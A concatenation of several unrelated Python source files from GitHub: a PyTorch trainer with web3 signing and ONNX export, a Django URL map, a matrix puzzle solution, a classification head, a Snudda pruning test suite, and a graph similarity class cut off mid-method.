self.algocean.wallet\n return account\n\n account = wallet\n def get_dataloaders(self):\n self.dataloader = {}\n for split in self.dataset.keys():\n self.dataloader[split] = DataLoader(self.dataset[split], shuffle=self.shuffle, batch_size=self.batch_size)\n return self.dataloader\n def load_schedular(self):\n kwargs = self.config['schedular']\n get_scheduler = self.import_object(kwargs['module'])\n self.scheduler = get_scheduler( optimizer=self.optimizer, num_training_steps=self.num_training_steps, **kwargs['params'])\n\n @property\n def batches_per_epoch(self):\n return self.config.get('batches_per_epoch')\n\n\n def step(self, split='train',nograd=False, proof=True, step=0):\n\n if split == 'train':\n batch = next(iter(self.dataloader['train']))\n batch = {k: v.to(self.device) for k, v in batch.items()}\n # st.write(self.model.forward)\n st.write(get_function_schema(self.model))\n outputs = self.model(**{k:batch[k] for k in self.input_keys})\n loss = outputs.loss\n loss.backward()\n self.optimizer.step()\n self.scheduler.step()\n self.optimizer.zero_grad()\n \n \n\n\n elif split != 'train' or nograd == True:\n with torch.nograd():\n batch = next(self.dataloader[split])\n batch = {k: v.to(self.device) for k, v in batch.items()}\n outputs = self.model(**batch)\n loss = outputs.loss\n\n\n if proof:\n output = outputs.__dict__\n metadata_batch = {k:batch[k] for k in self.meta_keys }\n output['meta'] = metadata_batch\n output['weights'] = self.model.state_dict()\n # st.write(metadata_batch)\n st.write(dir(outputs))\n outputs = {**outputs.__dict__, **metadata_batch}\n\n return outputs\n\n def train(self):\n progress_bar = tqdm(range(self.num_training_steps))\n self.model.train()\n for epoch in range(self.num_epochs):\n\n for i in range(self.batches_per_epoch):\n output_dict = self.step(split=True)\n st.write(f\"EPOCH: {epoch} Batch: {i} loss: {output_dict['loss']}\")\n\n @staticmethod\n def obj2str(data):\n data_str = None\n if isinstance(data, dict):\n data_str = json.dumps(data)\n if isinstance(data, list):\n data_str = json.dumps(data)\n elif type(data) in [bool, int]:\n data_str = str(data)\n elif type(data) in [str]:\n data_str = data\n else:\n raise NotImplementedError\n \n return data_str\n\n def hash(self, data, web3=None):\n if web3 == None:\n web3 = self.web3\n \n data_str = self.obj2str(data=data) \n \n return web3.keccak(text=data_str)\n \n\n\n def sign_message(self, data, account=None, web3=None):\n \n from hexbytes.main import HexBytes\n from eth_account.messages import encode_defunct\n\n\n if web3 == None:\n web3 = self.web3\n\n if account == None:\n account = self.account\n\n\n \n msg = encode_defunct(text=data)\n msg = web3.eth.account.sign_message(msg, private_key=account.private_key )\n return_dict = msg._asdict()\n for k,v in return_dict.items():\n if isinstance(v, HexBytes):\n return_dict[k] = v.hex()\n\n return return_dict\n\n def get_sample(self, split='train', **kwargs):\n st.write(len(self.dataloader[split]))\n return next(iter(self.dataloader[split]))\n\n @property\n def default_onnx_path(self):\n default_onnx_path = f\"/tmp/onnx/{__file__}/torch-model.onnx\"\n self.client.local.makedirs(os.path.dirname(default_onnx_path),True)\n return default_onnx_path\n def save_onnx(self, path=None):\n dummy_model_input = self.get_sample()\n dummy_model_input.pop('labels')\n self.model = self.model.to('cpu')\n if path == None:\n path = self.default_onnx_path\n \n torch.onnx.export(\n self.model, \n tuple(dummy_model_input.values()), \n f=path, \n input_names=['input_ids', 'attention_mask'], \n output_names=['logits'], \n dynamic_axes={'input_ids': {0: 'batch_size', 1: 'sequence'}, \n 'attention_mask': {0: 'batch_size', 1: 'sequence'}, \n 'logits': {0: 'batch_size', 1: 'sequence'}}, \n do_constant_folding=True, \n opset_version=13, \n )\n\n self.saved_onnx_path = path\n\n\n def load_onnx(self, path=None):\n if path == None:\n path = self.default_onnx_path\n import onnx\n return onnx.load(path)\n\n ''' PyTorch backend model factory '''\n def serialize(self, model=None, path=None):\n ''' Serialize PyTorch model to JSON message '''\n # metadata = {}\n # metadata_file = os.path.join(os.path.dirname(__file__), 'onnx-metadata.json')\n # with open(metadata_file, 'r', encoding='utf-8') as file:\n # for item in json.load(file):\n # name = 'onnx::' + item['name']\n # metadata[name] = item\n\n if model == None:\n model = self.model\n\n\n json_model = {}\n json_model['signature'] = 'netron:pytorch'\n json_model['format'] = 'TorchScript'\n json_model['graphs'] = []\n json_graph = {}\n json_graph['arguments'] = []\n json_graph['nodes'] = []\n json_graph['inputs'] = []\n json_graph['outputs'] = []\n json_model['graphs'].append(json_graph)\n data_type_map = dict([\n [ torch.float16, 'float16'], # pylint: disable=no-member\n [ torch.float32, 'float32'], # pylint: disable=no-member\n [ torch.float64, 'float64'], # pylint: disable=no-member\n [ torch.int32, 'int32'], # pylint: disable=no-member\n [ torch.int64, 'int64'], # pylint: disable=no-member\n ])\n arguments_map = {}\n def argument(value):\n if not value in arguments_map:\n json_argument = {}\n json_argument['name'] = str(value.unique()) + '>' + str(value.node().kind())\n if value.isCompleteTensor():\n json_tensor_shape = {\n 'dimensions': value.type().sizes()\n }\n json_argument['type'] = {\n 'dataType': data_type_map[value.type().dtype()],\n 'shape': json_tensor_shape\n }\n if value.node().kind() == \"prim::Param\":\n json_argument['initializer'] = {}\n arguments = json_graph['arguments']\n arguments_map[value] = len(arguments)\n arguments.append(json_argument)\n return arguments_map[value]\n\n for input_value in model.inputs():\n json_graph['inputs'].append({\n 'name': input_value.debugName(),\n 'arguments': [ argument(input_value) ]\n })\n for output_value in model.outputs():\n json_graph['outputs'].append({\n 'name': output_value.debugName(),\n 'arguments': [ argument(output_value) ]\n })\n for node in model.nodes():\n kind = node.kind()\n json_type = {\n 'name': kind\n }\n json_node = {\n 'type': json_type,\n 'inputs': [],\n 'outputs': [],\n 'attributes': []\n }\n json_graph['nodes'].append(json_node)\n for name in node.attributeNames():\n value = node[name]\n json_attribute = {\n 'name': name,\n 'value': value\n }\n if torch.is_tensor(value):\n json_node['inputs'].append({\n 'name': name,\n 'arguments': []\n })\n else:\n json_node['attributes'].append(json_attribute)\n\n for input_value in node.inputs():\n json_parameter = {\n 'name': 'x',\n 'arguments': [ argument(input_value) ]\n }\n json_node['inputs'].append(json_parameter)\n\n for output_value in node.outputs():\n json_node['outputs'].append({\n 'name': 'x',\n 'arguments': [ argument(output_value) ]\n })\n\n\n # text = json.dumps(json_model, ensure_ascii=False)\n # return text.encode('utf-8')\n if isinstance(path, str):\n text = json.dumps(json_model, ensure_ascii=False)\n return text.encode('utf-8')\n return json_model\n def follow_grad(grad_fn):\n\n '''\n TODO: NOT READY\n '''\n while True:\n try:\n if len(grad_fn.next_functions)>1:\n for next_grad_fn in grad_fn.next_functions:\n follow_grad(next_grad_fn)\n continue\n elif len(grad_fn.next_functions)==1:\n tmp_grad_fn = grad_fn.next_functions[0][0]\n else:\n raise IndexError\n st.write(tmp_grad_fn.name())\n grad_fn = tmp_grad_fn\n\n except IndexError as e :\n break\n\nif __name__ == '__main__':\n import streamlit as st\n import numpy as np\n from algocean.utils import *\n\n module = TrainerModule(override={'model_only':False, 'load_state': True})\n proof = module.step()\n st.write(proof.keys())\n\n \n # # # st.write(module.save_onnx())\n # # onnx_model = module.load_onnx()\n # # st.write(module.model.bert)\n # st.write(module.hub.list_models())\n # web3 = module.web3\n # st.write(module.account)\n # children = []\n # for m in module.model.named_parameters():\n \n # children += [m]\n # st.write(m[0], m[1].shape)\n # json_model = module.get_onnx()\n \n # for m in children[0].children():\n # st.write(m.inputs)\n \n # st.write(module.get_onnx())\n\n # import web3\n # data = {k:v.tolist() for k,v in module.model.state_dict().items()}\n # data = {k: data[k] for k in list(data.keys())[:10]}\n # ModelFactory().serialize(module.model)\n # st.write(module.model)\n # st.write(module.hash(data = data))\n # st.write( module.sign_message(data=data))\n # module.train()\n # st.write(module.model.state_dict().keys())\n","repo_name":"commune-ai/algocean","sub_path":"backend/algocean/huggingface/trainer/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":16492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20310014883","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('players-view/', views.players_list),\n path('courses-view/', views.courses_list),\n path('players-api/', views.get_players),\n path('tournaments-api/', views.get_tournaments),\n path('strokesgained-api/', views.get_strokesgained),\n path('rounds-api/', views.get_rounds),\n path('players-detail-api//', views.get_players_detail),\n path('strokesgained-detail-api//', views.get_tournaments_detail),\n path('strokesgained-detail-api/', views.get_tournaments_detail),\n]","repo_name":"AndreJacobsPy/strokesgained_dashboard","sub_path":"API/PGATourData/StrokeGainedAPI/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24519049871","text":"# https://codefights.com/arcade/intro/level-12/fQpfgxiY6aGiGHLtv\n# Given a rectangular matrix containing only digits, calculate the number of different 2 × 2 squares in it.\n\n# Example\n\n# For\n\n# matrix = [[1, 2, 1],\n# [2, 2, 2],\n# [2, 2, 2],\n# [1, 2, 3],\n# [2, 2, 1]]\n# the output should be\n# differentSquares(matrix) = 6.\n\n# Here are all 6 different 2 × 2 squares:\n\n# 1 2\n# 2 2\n\n# 2 1\n# 2 2\n\n# 2 2\n# 2 2\n\n# 2 2\n# 1 2\n\n# 2 2\n# 2 3\n\n# 2 3\n# 2 1\nimport numpy as np\ndef differentSquares(matrix):\n matrix = np.matrix(matrix)\n m,n = matrix.shape\n squares = []\n for i in range(m - 1):\n for j in range(n-1):\n submatrix = matrix[i:i+2,j:j+2].tolist()\n squares.append(submatrix) if submatrix not in squares else None\n return len(squares)\n\nmatrix = [[1, 2, 1],\n [2, 2, 2],\n [2, 2, 2],\n [1, 2, 3],\n [2, 2, 1]]\n\nprint(differentSquares(matrix))","repo_name":"felipemaion/studying_python","sub_path":"codefights/differentSquares.py","file_name":"differentSquares.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39616919660","text":"from torch import nn\n\n\nclass ClassificationHead(nn.Module):\n def __init__(self, in_channel, hidden_dims, dropout_rates, num_class):\n super().__init__()\n\n self.linears = nn.ModuleList()\n self.bns = nn.ModuleList()\n self.relu = nn.ReLU()\n self.dropouts = nn.ModuleList()\n\n previous_dim = in_channel\n for dim, rate in zip(hidden_dims, dropout_rates):\n self.linears.append(nn.Linear(previous_dim, dim))\n self.bns.append(nn.BatchNorm1d(dim))\n self.dropouts.append(nn.Dropout(rate))\n previous_dim = dim\n\n self.classification = nn.Linear(previous_dim, num_class)\n\n def forward(self, x):\n for linear, bn, dropout in zip(self.linears, self.bns, self.dropouts):\n x = dropout(self.relu(bn(linear(x))))\n\n x = self.classification(x)\n\n return x\n","repo_name":"hanchaa/PointNet2","sub_path":"modeling/layers/classification_head.py","file_name":"classification_head.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8316674090","text":"import os\nimport unittest\n\nfrom snudda.place.create_cube_mesh import create_cube_mesh\nfrom snudda.detect.detect import SnuddaDetect\nfrom snudda.utils.load import SnuddaLoad\nfrom snudda.neurons.neuron_morphology_extended import NeuronMorphologyExtended\nfrom snudda.place.place import SnuddaPlace\nimport numpy as np\n\nfrom snudda.detect.prune import SnuddaPrune\n\n\nclass TestPrune(unittest.TestCase):\n \n def setUp(self):\n\n if os.path.dirname(__file__):\n os.chdir(os.path.dirname(__file__))\n\n self.network_path = os.path.join(os.path.dirname(__file__), \"networks\", \"network_testing_prune3\")\n\n create_cube_mesh(file_name=os.path.join(self.network_path, \"mesh\", \"simple_mesh.obj\"),\n centre_point=(0, 0, 0),\n side_len=500e-6)\n\n config_file = os.path.join(self.network_path, \"network-config.json\")\n position_file = os.path.join(self.network_path, \"network-neuron-positions.hdf5\")\n save_file = os.path.join(self.network_path, \"voxels\", \"network-putative-synapses.hdf5\")\n\n sp = SnuddaPlace(config_file=config_file, d_view=None, verbose=True)\n\n sp.parse_config()\n sp.write_data(position_file)\n\n # We want to load in the ball and stick neuron that has 20 micrometer soma diameter, and axon (along y-axis),\n # and dendrite along (x-axis) out to 100 micrometer distance from centre of soma.\n\n from snudda.utils.reposition_neurons import RepositionNeurons\n repos = RepositionNeurons(position_file=position_file)\n\n # Reposition the neurons so that we know how many synapses and where they will be located before pruning\n # OBS, these positions and rotations are not written to the HDF5 file, they are only in memory!\n neuron_positions = np.array([[0, 20, 0], # Postsynaptiska\n [0, 40, 0],\n [0, 60, 0],\n [0, 80, 0],\n [0, 100, 0],\n [0, 120, 0],\n [0, 140, 0],\n [0, 160, 0],\n [0, 180, 0],\n [0, 200, 0],\n [20, 0, 0], # Presynaptiska\n [40, 0, 0],\n [60, 0, 0],\n [80, 0, 0],\n [100, 0, 0],\n [120, 0, 0],\n [140, 0, 0],\n [160, 0, 0],\n [180, 0, 0],\n [200, 0, 0],\n [70, 0, 500], # For gap junction check\n [110, 0, 500],\n [150, 0, 500],\n [190, 0, 500],\n [0, 70, 500],\n [0, 110, 500],\n [0, 150, 500],\n [0, 190, 500],\n ]) * 1e-6\n\n # TODO: Add potential for gap junctions also by having 5 + 5 neurons in other grid\n \n ang = -np.pi / 2\n R_x = np.array([[1, 0, 0],\n [0, np.cos(ang), -np.sin(ang)],\n [0, np.sin(ang), np.cos(ang)]])\n \n ang = np.pi / 2\n R_y = np.array([[np.cos(ang), 0, np.sin(ang)],\n [0, 1, 0],\n [-np.sin(ang), 0, np.cos(ang)]])\n\n for idx in range(0, 10): # Post synaptic neurons\n repos.place(neuron_id=idx, position=neuron_positions[idx, :], rotation=R_x)\n\n for idx in range(10, 20): # Presynaptic neurons\n repos.place(neuron_id=idx, position=neuron_positions[idx, :], rotation=R_y)\n\n for idx in range(24, 28): # GJ neurons\n repos.place(neuron_id=idx, position=neuron_positions[idx, :], rotation=R_x)\n\n ang = np.pi / 2\n R_z = np.array([[np.cos(ang), -np.sin(ang), 0],\n [np.sin(ang), np.cos(ang), 0],\n [0, 0, 1]])\n\n for idx in range(20, 24): # GJ neurons\n repos.place(neuron_id=idx, position=neuron_positions[idx, :], rotation=np.matmul(R_z, R_x))\n\n self.sd = SnuddaDetect(config_file=config_file, position_file=position_file,\n save_file=save_file, rc=None,\n hyper_voxel_size=120, verbose=True)\n\n self.sd.detect(restart_detection_flag=True)\n\n if False:\n self.sd.process_hyper_voxel(1)\n self.sd.plot_hyper_voxel(plot_neurons=True,\n fig_file_name=os.path.join(self.network_path,\n \"test_prune_figure.png\"))\n\n import pdb\n pdb.set_trace()\n\n def test_prune(self):\n\n pruned_output = os.path.join(self.network_path, \"network-synapses.hdf5\")\n\n with self.subTest(stage=\"No-pruning\"):\n\n sp = SnuddaPrune(network_path=self.network_path, config_file=None, verbose=True, keep_files=True) # Use default config file\n sp.prune()\n sp = []\n\n # Load the pruned data and check it\n\n sl = SnuddaLoad(pruned_output)\n # TODO: Call a plot function to plot entire network with synapses and all\n\n self.assertEqual(sl.data[\"nSynapses\"], (20*8 + 10*2)*2) # Update, now AMPA+GABA, hence *2 at end\n\n # This checks that all synapses are in order\n # The synapse sort order is destID, sourceID, synapsetype (channel model id).\n\n syn = sl.data[\"synapses\"][:sl.data[\"nSynapses\"], :]\n syn_order = (syn[:, 1] * len(self.sd.neurons) + syn[:, 0]) * 12 + syn[:, 6] # The 12 is maxChannelModelID\n self.assertTrue((np.diff(syn_order) >= 0).all())\n\n # Note that channel model id is dynamically allocated, starting from 10 (GJ have ID 3)\n # Check that correct number of each type\n self.assertEqual(np.sum(sl.data[\"synapses\"][:, 6] == 10), 20*8 + 10*2)\n self.assertEqual(np.sum(sl.data[\"synapses\"][:, 6] == 11), 20*8 + 10*2)\n\n self.assertEqual(sl.data[\"nGapJunctions\"], 4*4*4)\n gj = sl.data[\"gapJunctions\"][:sl.data[\"nGapJunctions\"], :2]\n gj_order = gj[:, 1] * len(self.sd.neurons) + gj[:, 0]\n self.assertTrue((np.diff(gj_order) >= 0).all())\n\n with self.subTest(stage=\"load-testing\"):\n sl = SnuddaLoad(pruned_output, verbose=True)\n\n # Try and load a neuron\n n = sl.load_neuron(neuron_id=0)\n self.assertTrue(type(n) == NeuronMorphologyExtended)\n\n syn_ctr = 0\n for s in sl.synapse_iterator(chunk_size=50):\n syn_ctr += s.shape[0]\n self.assertEqual(syn_ctr, sl.data[\"nSynapses\"])\n \n gj_ctr = 0\n for gj in sl.gap_junction_iterator(chunk_size=50):\n gj_ctr += gj.shape[0]\n self.assertEqual(gj_ctr, sl.data[\"nGapJunctions\"])\n\n syn, syn_coords = sl.find_synapses(pre_id=14)\n self.assertTrue((syn[:, 0] == 14).all())\n self.assertEqual(syn.shape[0], 40)\n\n syn, syn_coords = sl.find_synapses(post_id=3)\n self.assertTrue((syn[:, 1] == 3).all())\n self.assertEqual(syn.shape[0], 36)\n\n cell_id_perm = sl.get_neuron_id_of_type(\"ballanddoublestick\", random_permute=True, num_neurons=28)\n cell_id = sl.get_neuron_id_of_type(\"ballanddoublestick\", random_permute=False)\n\n self.assertEqual(len(cell_id_perm), 28)\n self.assertEqual(len(cell_id), 28)\n \n for cid in cell_id_perm:\n self.assertTrue(cid in cell_id)\n\n # It is important merge file has synapses sorted with dest_id, source_id as sort order since during pruning\n # we assume this to be able to quickly find all synapses on post synaptic cell.\n # TODO: Also include the ChannelModelID in sorting check\n with self.subTest(\"Checking-merge-file-sorted\"):\n\n for mf in [\"temp/synapses-for-neurons-0-to-28-MERGE-ME.hdf5\",\n \"temp/gapJunctions-for-neurons-0-to-28-MERGE-ME.hdf5\",\n \"network-synapses.hdf5\"]:\n\n merge_file = os.path.join(self.network_path, mf)\n\n sl = SnuddaLoad(merge_file, verbose=True)\n if \"synapses\" in sl.data:\n syn = sl.data[\"synapses\"][:sl.data[\"nSynapses\"], :2]\n syn_order = syn[:, 1] * len(self.sd.neurons) + syn[:, 0]\n self.assertTrue((np.diff(syn_order) >= 0).all())\n\n if \"gapJunctions\" in sl.data:\n gj = sl.data[\"gapJunctions\"][:sl.data[\"nGapJunctions\"], :2]\n gj_order = gj[:, 1] * len(self.sd.neurons) + gj[:, 0]\n self.assertTrue((np.diff(gj_order) >= 0).all())\n\n with self.subTest(\"synapse-f1\"):\n # Test of f1\n testing_config_file = os.path.join(self.network_path, \"network-config-test-1.json\")\n sp = SnuddaPrune(network_path=self.network_path, config_file=testing_config_file, verbose=True, keep_files=True) # Use default config file\n sp.prune()\n\n # Load the pruned data and check it\n\n sl = SnuddaLoad(pruned_output, verbose=True)\n # Setting f1=0.5 in config should remove 50% of GABA synapses, but does so randomly, for AMPA we used f1=0.9\n gaba_id = sl.data[\"connectivityDistributions\"][\"ballanddoublestick\",\"ballanddoublestick\"][\"GABA\"][\"channelModelID\"]\n ampa_id = sl.data[\"connectivityDistributions\"][\"ballanddoublestick\",\"ballanddoublestick\"][\"AMPA\"][\"channelModelID\"]\n\n n_gaba = np.sum(sl.data[\"synapses\"][:, 6] == gaba_id)\n n_ampa = np.sum(sl.data[\"synapses\"][:, 6] == ampa_id)\n\n self.assertTrue((20*8 + 10*2)*0.5 - 10 < n_gaba < (20*8 + 10*2)*0.5 + 10)\n self.assertTrue((20*8 + 10*2)*0.9 - 10 < n_ampa < (20*8 + 10*2)*0.9 + 10)\n\n with self.subTest(\"synapse-softmax\"):\n # Test of softmax\n testing_config_file = os.path.join(self.network_path, \"network-config-test-2.json\") # Only GABA synapses in this config\n sp = SnuddaPrune(network_path=self.network_path, config_file=testing_config_file, verbose=True, keep_files=True) # Use default config file\n sp.prune()\n\n # Load the pruned data and check it\n sl = SnuddaLoad(pruned_output)\n # Softmax reduces number of synapses\n self.assertTrue(sl.data[\"nSynapses\"] < 20*8 + 10*2)\n\n with self.subTest(\"synapse-mu2\"):\n # Test of mu2\n testing_config_file = os.path.join(self.network_path, \"network-config-test-3.json\")\n sp = SnuddaPrune(network_path=self.network_path, config_file=testing_config_file, verbose=True, keep_files=True) # Use default config file\n sp.prune()\n\n # Load the pruned data and check it\n sl = SnuddaLoad(pruned_output)\n # With mu2 having 2 synapses means 50% chance to keep them, having 1 will be likely to have it removed\n self.assertTrue(20*8*0.5 - 10 < sl.data[\"nSynapses\"] < 20*8*0.5 + 10)\n\n with self.subTest(\"synapse-a3\"):\n # Test of a3\n testing_config_file = os.path.join(self.network_path, \"network-config-test-4.json\")\n sp = SnuddaPrune(network_path=self.network_path, config_file=testing_config_file, verbose=True, keep_files=True) # Use default config file\n sp.prune()\n\n # Load the pruned data and check it\n sl = SnuddaLoad(pruned_output)\n\n # a3=0.6 means 40% chance to remove all synapses between a pair\n self.assertTrue((20*8 + 10*2)*0.6 - 14 < sl.data[\"nSynapses\"] < (20*8 + 10*2)*0.6 + 14)\n\n with self.subTest(\"synapse-distance-dependent-pruning\"):\n # Testing distance dependent pruning\n testing_config_file = os.path.join(self.network_path, \"network-config-test-5.json\")\n sp = SnuddaPrune(network_path=self.network_path, config_file=testing_config_file, verbose=True, keep_files=True) # Use default config file\n sp.prune()\n\n # Load the pruned data and check it\n sl = SnuddaLoad(pruned_output)\n\n # \"1*(d >= 100e-6)\" means we remove all synapses closer than 100 micrometers\n print(f\"num synapses : {sl.data['nSynapses']}\")\n\n self.assertEqual(sl.data[\"nSynapses\"], 20*5)\n self.assertTrue((sl.data[\"synapses\"][:, 8] >= 100).all()) # Column 8 -- distance to soma in micrometers\n\n # TODO: Need to do same test for Gap Junctions also -- but should be same results, since same codebase\n with self.subTest(\"gap-junction-f1\"):\n # Test of f1\n testing_config_file = os.path.join(self.network_path, \"network-config-test-6.json\")\n sp = SnuddaPrune(network_path=self.network_path, config_file=testing_config_file, verbose=True, keep_files=True) # Use default config file\n sp.prune()\n\n # Load the pruned data and check it\n\n sl = SnuddaLoad(pruned_output)\n # Setting f1=0.7 in config should remove 30% of gap junctions, but does so randomly\n self.assertTrue(64*0.7 - 10 < sl.data[\"nGapJunctions\"] < 64*0.7 + 10)\n\n with self.subTest(\"gap-junction-softmax\"):\n # Test of softmax\n testing_config_file = os.path.join(self.network_path, \"network-config-test-7.json\")\n sp = SnuddaPrune(network_path=self.network_path, config_file=testing_config_file, verbose=True, keep_files=True) # Use default config file\n sp.prune()\n\n # Load the pruned data and check it\n sl = SnuddaLoad(pruned_output)\n # Softmax reduces number of synapses\n self.assertTrue(sl.data[\"nGapJunctions\"] < 16*2 + 10)\n\n with self.subTest(\"gap-junction-mu2\"):\n # Test of mu2\n testing_config_file = os.path.join(self.network_path, \"network-config-test-8.json\")\n sp = SnuddaPrune(network_path=self.network_path, config_file=testing_config_file, verbose=True, keep_files=True) # Use default config file\n sp.prune()\n\n # Load the pruned data and check it\n sl = SnuddaLoad(pruned_output)\n # With mu2 having 4 synapses means 50% chance to keep them, having 1 will be likely to have it removed\n self.assertTrue(64*0.5 - 10 < sl.data[\"nGapJunctions\"] < 64*0.5 + 10)\n\n with self.subTest(\"gap-junction-a3\"):\n # Test of a3\n testing_config_file = os.path.join(self.network_path, \"network-config-test-9.json\")\n sp = SnuddaPrune(network_path=self.network_path, config_file=testing_config_file, verbose=True, keep_files=True) # Use default config file\n sp.prune()\n\n # Load the pruned data and check it\n sl = SnuddaLoad(pruned_output, verbose=True)\n\n # a3=0.7 means 30% chance to remove all synapses between a pair\n self.assertTrue(64*0.7 - 10 < sl.data[\"nGapJunctions\"] < 64*0.7 + 10)\n\n if False: # Distance dependent pruning currently not implemented for gap junctions\n with self.subTest(\"gap-junction-distance-dependent-pruning\"):\n # Testing distance dependent pruning\n testing_config_file = os.path.join(self.network_path, \"network-config-test-10.json\")\n sp = SnuddaPrune(network_path=self.network_path, config_file=testing_config_file, verbose=True, keep_files=True) # Use default config file\n sp.prune()\n\n # Load the pruned data and check it\n sl = SnuddaLoad(pruned_output, verbose=True)\n\n # \"1*(d <= 120e-6)\" means we remove all synapses further away than 100 micrometers\n self.assertEqual(sl.data[\"nGapJunctions\"], 2*4*4)\n self.assertTrue((sl.data[\"gapJunctions\"][:, 8] <= 120).all()) # Column 8 -- distance to soma in micrometers\n\n\nif __name__ == '__main__':\n unittest.main()\n\n# python3 -m unittest test_prune\n","repo_name":"Hjorthmedh/Snudda","sub_path":"tests/test_prune.py","file_name":"test_prune.py","file_ext":"py","file_size_in_byte":16510,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"47"} +{"seq_id":"8580859133","text":"from copy import copy, deepcopy\r\n\r\nclass Graph:\r\n\r\n def __init__( self ):\r\n \r\n # This is 'y' in Eq. 2\r\n self.orderedVertexList = []\r\n \r\n # This is M in Eq. 2\r\n self.numberOfVertices = 0;\r\n \r\n # end constructor\r\n \r\n def getLossFunction( self, secondGraph, norm = 1.5 ):\r\n \r\n M = self.getNumberOfVertices()\r\n D = self.getSimilarityScore( secondGraph, norm )\r\n delta = ( 1 / M ) * ( M - D )\r\n \r\n #print( delta )\r\n return delta\r\n \r\n # end function getLossFunction\r\n \r\n # Compute the similarity score between this graph\r\n # and the input graph based Eq. 2\r\n def getSimilarityScore( self, secondGraph, norm = 1.5 ):\r\n \r\n X =\\\r\n len( self.getNodesWithDifferentNeighbors( secondGraph ) )\r\n \r\n VSizes =\\\r\n self.getForwardStreakCardinality( secondGraph )\r\n \r\n WSizes =\\\r\n self.getBackwardStreakCardinality( secondGraph )\r\n \r\n VSum = 0\r\n \r\n for v in VSizes:\r\n \r\n VSum = VSum + v**norm\r\n \r\n # end for v \r\n \r\n WSum = 0\r\n \r\n for w in WSizes:\r\n \r\n WSum = WSum + w**norm\r\n \r\n # end for w\r\n \r\n similarityScore = ( X + VSum + 0.5 * WSum )**( 1/norm )\r\n \r\n return similarityScore\r\n \r\n # end function getSimilarityScore\r\n \r\n # Get the cardinality of each backward streak\r\n # This returns a list, where ith value is the\r\n # size of the ith backward streak. Basically,\r\n # |W_i| in Eq. 2\r\n def getBackwardStreakCardinality( self, secondGraph ):\r\n \r\n cardinality = []\r\n \r\n backwardStreaks =\\\r\n self.getBackwardStreak( secondGraph )\r\n \r\n for streak in backwardStreaks:\r\n \r\n cardinality.append( len( streak ) )\r\n \r\n # end for\r\n \r\n return cardinality\r\n \r\n # end function getBackwardStreakCardinality\r\n \r\n # Get backward streaks\r\n # This returns W in Eq. 2\r\n def getBackwardStreak( self, secondGraph ):\r\n \r\n secondGraphBackward =\\\r\n secondGraph.createBackwardGraph()\r\n \r\n backwardStreaks =\\\r\n self.getForwardStreak( secondGraphBackward )\r\n \r\n return backwardStreaks \r\n \r\n # end function getBackwardStreak\r\n \r\n # Create a new graph from the current one\r\n # Everything is the same but the vector\r\n # list is in the reversed order\r\n def createBackwardGraph( self ):\r\n \r\n backwardVectorList =\\\r\n deepcopy( list( reversed( self.orderedVertexList ) ) )\r\n \r\n backwardGraph = Graph()\r\n \r\n backwardGraph.initializeADummyGraph( backwardVectorList )\r\n \r\n return backwardGraph\r\n \r\n # end function createBackwardGraph\r\n \r\n # Get the cardinality of the ith forward\r\n # streak in this graph and the input graph\r\n # This is similar to V_i in Eq. 2 \r\n # It returns a list that where ith location\r\n # is the cardinality of ith streak\r\n def getForwardStreakCardinality( self, secondGraph ):\r\n \r\n cardinality = []\r\n forwardStreaks = self.getForwardStreak( secondGraph )\r\n \r\n for streak in forwardStreaks:\r\n \r\n cardinality.append( len( streak ) )\r\n \r\n # end for\r\n \r\n return cardinality\r\n \r\n # end function getForwardStreakCardinality\r\n \r\n # Compute and return all forward streaks \r\n # This is equivalent to V in Eq. 2\r\n def getForwardStreak( self, secondGraph ):\r\n \r\n forwardStreaks = []\r\n flatForwardStreaks = [];\r\n intersection = self.getIntersection( secondGraph )\r\n \r\n for node in intersection:\r\n \r\n if node in flatForwardStreaks:\r\n continue\r\n \r\n currentStreak = [node]\r\n index1 = self.orderedVertexList.index( node )\r\n index2 = secondGraph.orderedVertexList.index( node )\r\n \r\n while index1 < self.getNumberOfVertices()-1 and\\\r\n index2 < secondGraph.getNumberOfVertices()-1:\r\n \r\n index1 = index1 + 1\r\n index2 = index2 + 1\r\n \r\n if self.orderedVertexList[index1] !=\\\r\n secondGraph.orderedVertexList[index2]:\r\n break\r\n \r\n currentStreak.append( self.orderedVertexList[index1] )\r\n flatForwardStreaks.append( self.orderedVertexList[index1] )\r\n \r\n # end while\r\n \r\n if len( currentStreak ) == 1:\r\n continue\r\n \r\n forwardStreaks.append( currentStreak )\r\n \r\n # end for node\r\n \r\n return forwardStreaks\r\n \r\n # end function getForwardStreak\r\n \r\n # This function returns the number of nodes in this\r\n # graph and the input graph that have different neighbors.\r\n # This is similar to |X| in Eq.2\r\n def getNodesWithDifferentNeighborsCardinality(\\\r\n self, secondGraph ):\r\n \r\n nodesWithDifferentNeighbors =\\\r\n self.getNodesWithDifferentNeighbors( secondGraph )\r\n \r\n return len( nodesWithDifferentNeighbors )\r\n \r\n # end function getNodesWithDifferentNeighborsCardinality\r\n \r\n # This function returns nodes in this graph and \r\n # the input graph that have different neighbors.\r\n # Both neighbors must be different.\r\n # This computes X in Eq. 2 in the paper\r\n def getNodesWithDifferentNeighbors( self, secondGraph ):\r\n \r\n nodesWithDifferentNeighbors = []\r\n \r\n # Find common nodes in both graphs\r\n intersection = self.getIntersection( secondGraph )\r\n \r\n for node in intersection:\r\n \r\n flag = False\r\n \r\n neighborsThisGraph =\\\r\n self.getNeighborsOfNode( node )\r\n \r\n neighborsSecondGraph =\\\r\n secondGraph.getNeighborsOfNode( node )\r\n \r\n for neighbor in neighborsThisGraph:\r\n \r\n if neighbor in neighborsSecondGraph:\r\n \r\n flag = True\r\n \r\n # end for neighbor\r\n \r\n if flag == True:\r\n continue\r\n \r\n nodesWithDifferentNeighbors.append( node )\r\n \r\n # end for node\r\n \r\n return nodesWithDifferentNeighbors\r\n \r\n # end function getNodesWithDifferentNeighbors\r\n \r\n # This function computes all the neighbors \r\n # of the node 'node' in the graph\r\n 